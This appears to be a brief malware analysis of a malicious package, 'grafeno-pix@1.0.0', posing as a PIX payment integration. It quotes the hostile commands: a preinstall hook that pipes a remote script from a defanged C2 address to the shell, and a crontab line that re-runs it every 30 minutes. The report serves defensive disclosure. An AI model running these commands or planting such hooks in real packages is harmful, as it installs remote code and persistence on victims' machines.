grafeno-pix@1.0.0

Analysis

The preinstall hook executes a remote shell script at install time and installs a persistent cron job. On install it runs `curl -s 216[.]126[.]236[.]46/x.sh|sh` via bash, then adds a crontab entry that re-downloads and re-executes the same script every 30 minutes (`*/30 * * * * curl -s 216[.]126[.]236[.]46/x.sh|sh`). The package body is a stub with no real functionality, so the "PIX integration" description is a lure. C2: 216[.]126[.]236[.]46, path /x.sh.